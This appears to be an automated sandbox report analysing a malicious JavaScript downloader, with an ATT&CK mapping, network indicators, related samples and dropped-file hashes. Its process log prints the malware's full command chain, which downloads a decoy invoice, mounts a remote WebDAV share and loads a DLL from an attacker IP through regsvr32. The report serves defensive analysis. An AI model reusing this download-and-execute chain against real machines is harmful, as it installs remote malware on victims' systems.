Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1358019715229232264.js	3%	Virustotal		Browse
1358019715229232264.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/log5	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
time.windows.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.1420380088.0000024A6E000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2655592711.0000024A6DE00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1417257943.0000025A56D38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1417257943.0000025A56D89000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1417257943.0000025A56D69000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/log5	net.exe, 00000007.00000002.1417257943.0000025A56D38000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588000
Start date and time:	2025-01-10 20:22:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1358019715229232264.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 51.145.123.29, 2.23.240.205, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 2.16.100.168, 88.221.110.91, 2.16.168.107, 2.16.168.105, 2.16.168.125, 23.54.161.98, 23.54.161.81, 23.55.235.177, 23.54.161.97, 23.55.235.186, 13.107.246.45, 50.16.47.176, 20.109.210.53, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, twc.trafficmanager.net, otelrules.afd.azureedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:24:07	API Interceptor	22x Sleep call for process: powershell.exe modified
14:24:10	API Interceptor	1x Sleep call for process: net.exe modified
14:24:11	API Interceptor	2x Sleep call for process: svchost.exe modified
14:24:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://probashkontho.com/work/Organization/privacy/index_.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	ZV2G9QQzlR.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	OVZizpEU7Q.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	xrAlbTvRsz.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Xf3rn1smZw.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	ThBJg59JRC.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	Voicemail_+Transcription+_ATT006151.docx	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse	13.107.246.45
	MWP0FO5rAF.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
bg.microsoft.map.fastly.net	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Message 2.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	199.232.210.172
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1794629123897518052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4779230781910419613.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067088203893395
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqI:2JIB/wUKUKQncEmYRTwh0M
MD5:	E1E8FAFB24FB6F86D2D1EC6D0D317EA8
SHA1:	AF5BD236C7370853F71A218490ABE2082B64D34E
SHA-256:	A05BD7B9A79018C1FE0845E63F53DF5DF82B4908EC0EB3156555CC8323FBED40
SHA-512:	81159002572E04D042B62C98922F0416FB28C136529A44F5DC8ACBF102233A25C4D02CFDBA78F46BE63733DAF54C59AD5A37CE12C03DA2CB70131532F61CCB1D
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdfd46b6d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899657241029555
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	4EDE1327A2EDC2128DFC5CF651D00CD4
SHA1:	928311371A4CC5ED8D63F7C334BFD216541A61BF
SHA-256:	AA1527772694D1FA7A6B8F60E045CCF79698DC2C34B53B86F58335BDFE19F612
SHA-512:	BF81DE32D21D00CEF40B0200AB3EA6E611A22F9291107AC734449BBB07602C0E76418B5D2C7529CDE6FC88D0103FE2639E11E996FA1F9CDE1980F47CE4741DFC
Malicious:	false
Preview:	..km... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................:.......};.................g.=g.....}a..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.081858762603186
Encrypted:	false
SSDEEP:	3:Bn4XlKYeZtlDvNt/57Dek3JV1kpb//ollEqW3l/TjzzQ/t:RoKzZDvPR3tV1AAmd8/
MD5:	71234E75966F7AA2638F48A426F1CBDB
SHA1:	1D5C432B6AB1C644AFAE663825CC67C883766442
SHA-256:	326A8FC445C4AB6174560ED8270AE376EB85309B814610787DF83D48B8532746
SHA-512:	5478AAA5EFEC73459B6161967DF6657E4AD132008BFA9868332538F2DA336078163BDCBF805A4FCE39BF4D159B1E351E01F63A1442F56D16E8D0E9CE56F92609
Malicious:	false
Preview:	.9.......................................;...{.......}a.42...{5.........42...{5.42...{5...Y.42...{59................g.=g.....}a.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.201797569350577
Encrypted:	false
SSDEEP:	6:iO4ZUmXTAQ+q2PcNwi2nKuAl9OmbnIFUtSZUmJcNAgZmwsZUmPAQVkwOcNwi2nKZ:7lmXTAVvLZHAahFUtTmJOAg/xmPAI54M
MD5:	D91385FF0CF91A69D9D6CB3AC6AE246F
SHA1:	8C88D73B36567A6B8023F2CB35400180AB08A893
SHA-256:	44097646F40B407271927576AF7377C0448CF1F27D739F27C141E7380FA57748
SHA-512:	C298FE86A238143FB572022E68F982C0015F9B4B152553D7B31DB8BBF68039E4DB24380DDA11DA718E5135D70F3C6CF38F5F563FA4BA9913C5944F8DEB6B935C
Malicious:	false
Preview:	2025/01/10-14:24:11.043 1fb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:24:11.046 1fb8 Recovering log #3.2025/01/10-14:24:11.047 1fb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.201797569350577
Encrypted:	false
SSDEEP:	6:iO4ZUmXTAQ+q2PcNwi2nKuAl9OmbnIFUtSZUmJcNAgZmwsZUmPAQVkwOcNwi2nKZ:7lmXTAVvLZHAahFUtTmJOAg/xmPAI54M
MD5:	D91385FF0CF91A69D9D6CB3AC6AE246F
SHA1:	8C88D73B36567A6B8023F2CB35400180AB08A893
SHA-256:	44097646F40B407271927576AF7377C0448CF1F27D739F27C141E7380FA57748
SHA-512:	C298FE86A238143FB572022E68F982C0015F9B4B152553D7B31DB8BBF68039E4DB24380DDA11DA718E5135D70F3C6CF38F5F563FA4BA9913C5944F8DEB6B935C
Malicious:	false
Preview:	2025/01/10-14:24:11.043 1fb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:24:11.046 1fb8 Recovering log #3.2025/01/10-14:24:11.047 1fb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1336205549390534
Encrypted:	false
SSDEEP:	6:iO4ZUeav4q2PcNwi2nKuAl9Ombzo2jMGIFUtSZUeRFFJZmwsZUeRFFDkwOcNwi2g:7lervLZHAa8uFUtTeRF//xeRFt54ZHAv
MD5:	3DB3977657BB913787CA202828A3156D
SHA1:	FB0143D3E14B15A2CBB4FEEEE555118B8EA18F1F
SHA-256:	CD2B51E580365E21E38ACB49061EFC00CAA27F01147C19EA3834C5383BA6A58F
SHA-512:	119081199EE5A4EE89B080A2E2EFEEC57777D0D1A856B311E6FA9509ACE620BBD49880B8233B5059841D5FB881CED43DCD11B3D928612A6F14C28C4382D2A812
Malicious:	false
Preview:	2025/01/10-14:24:11.223 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:24:11.224 1c80 Recovering log #3.2025/01/10-14:24:11.224 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1336205549390534
Encrypted:	false
SSDEEP:	6:iO4ZUeav4q2PcNwi2nKuAl9Ombzo2jMGIFUtSZUeRFFJZmwsZUeRFFDkwOcNwi2g:7lervLZHAa8uFUtTeRF//xeRFt54ZHAv
MD5:	3DB3977657BB913787CA202828A3156D
SHA1:	FB0143D3E14B15A2CBB4FEEEE555118B8EA18F1F
SHA-256:	CD2B51E580365E21E38ACB49061EFC00CAA27F01147C19EA3834C5383BA6A58F
SHA-512:	119081199EE5A4EE89B080A2E2EFEEC57777D0D1A856B311E6FA9509ACE620BBD49880B8233B5059841D5FB881CED43DCD11B3D928612A6F14C28C4382D2A812
Malicious:	false
Preview:	2025/01/10-14:24:11.223 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:24:11.224 1c80 Recovering log #3.2025/01/10-14:24:11.224 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\71aa0ecb-949e-4965-aba6-063b610bb7be.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967961042110297
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9nsBdOg2H1Zcaq3QYiubSpDyP7E4TX:Y2sRdsjdMH1g3QYhbSpDa7n7
MD5:	4EA28C22991E7081AC87A20142B85359
SHA1:	01842348DB2726D61CDE4632A4E783602F72C72A
SHA-256:	626E5204EB6D9A32CA4B4E865D2CD930B89794FF71B2F4890D35F9EB19C8B480
SHA-512:	C80015CD0DED2B26C32BEAC9AA561E962EC5FFC5CF961B520D1C96B44C9427BBE8323B2948083F801F1459AD8ABEEB80F90610A140833E29A7A97A4B2D062EE8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381097062218473","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136236},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967961042110297
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9nsBdOg2H1Zcaq3QYiubSpDyP7E4TX:Y2sRdsjdMH1g3QYhbSpDa7n7
MD5:	4EA28C22991E7081AC87A20142B85359
SHA1:	01842348DB2726D61CDE4632A4E783602F72C72A
SHA-256:	626E5204EB6D9A32CA4B4E865D2CD930B89794FF71B2F4890D35F9EB19C8B480
SHA-512:	C80015CD0DED2B26C32BEAC9AA561E962EC5FFC5CF961B520D1C96B44C9427BBE8323B2948083F801F1459AD8ABEEB80F90610A140833E29A7A97A4B2D062EE8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381097062218473","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136236},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234652094294481
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPT6T0gTP5:CwNw1GHqPySfkcigoO3h28ytPGpTP5
MD5:	36B36DA4FCFD35A623B46FA16E4F3069
SHA1:	9B72D5DE6D2E868AA37DC6E2337702ED9C0118EE
SHA-256:	92CB443AC5DD543A1A59210A3330DF48FDB4984A7A3D28A7BF672CD0AC6F2DDD
SHA-512:	AC9E045EA6F3FD4B9B764D090A303E47ECBB4ED1BAA494222BFBFBB7916D782896F52CDDF9F732C1AF60989F894E074A62FBCBE705484119AAAE7199224FBAEB
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.153660973632173
Encrypted:	false
SSDEEP:	6:iO4ZUy0KVN4q2PcNwi2nKuAl9OmbzNMxIFUtSZUu3JZmwsZU3zDkwOcNwi2nKuAo:7lyVVOvLZHAa8jFUtTuZ/x354ZHAa84J
MD5:	E63CB7E9DCA04D0B0580CD6B9F8065E8
SHA1:	CDD6BB027D21877EC2B456C77995ABE163893B21
SHA-256:	6139EF3FB6C50706A391E8C91973E1E4A2A0BDA7D5D6598B27C49AB3A9D3424F
SHA-512:	B776EC0FB6A3888B7D9E784ACB65BE3F634205D069D7BC5CA100738B2B9CD95DF2B8412A5CD5B3C2168F25BCF9CE4085DD419B60032255E7644CA4D0F7FE95EF
Malicious:	false
Preview:	2025/01/10-14:24:11.448 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:24:11.512 1c80 Recovering log #3.2025/01/10-14:24:11.553 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.153660973632173
Encrypted:	false
SSDEEP:	6:iO4ZUy0KVN4q2PcNwi2nKuAl9OmbzNMxIFUtSZUu3JZmwsZU3zDkwOcNwi2nKuAo:7lyVVOvLZHAa8jFUtTuZ/x354ZHAa84J
MD5:	E63CB7E9DCA04D0B0580CD6B9F8065E8
SHA1:	CDD6BB027D21877EC2B456C77995ABE163893B21
SHA-256:	6139EF3FB6C50706A391E8C91973E1E4A2A0BDA7D5D6598B27C49AB3A9D3424F
SHA-512:	B776EC0FB6A3888B7D9E784ACB65BE3F634205D069D7BC5CA100738B2B9CD95DF2B8412A5CD5B3C2168F25BCF9CE4085DD419B60032255E7644CA4D0F7FE95EF
Malicious:	false
Preview:	2025/01/10-14:24:11.448 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:24:11.512 1c80 Recovering log #3.2025/01/10-14:24:11.553 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438816311764628
Encrypted:	false
SSDEEP:	384:Ce0ci5GUiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:rYurVgazUpUTTGt
MD5:	BDF0AFD5ADC9654C879F9E9551584017
SHA1:	6E0031E243558970C3A623B1FF3DC2D451BFA1CE
SHA-256:	AFE47322CBE5361597EE1472A39AE72E0B97A478EB884D9CDBBD462C3838C3AE
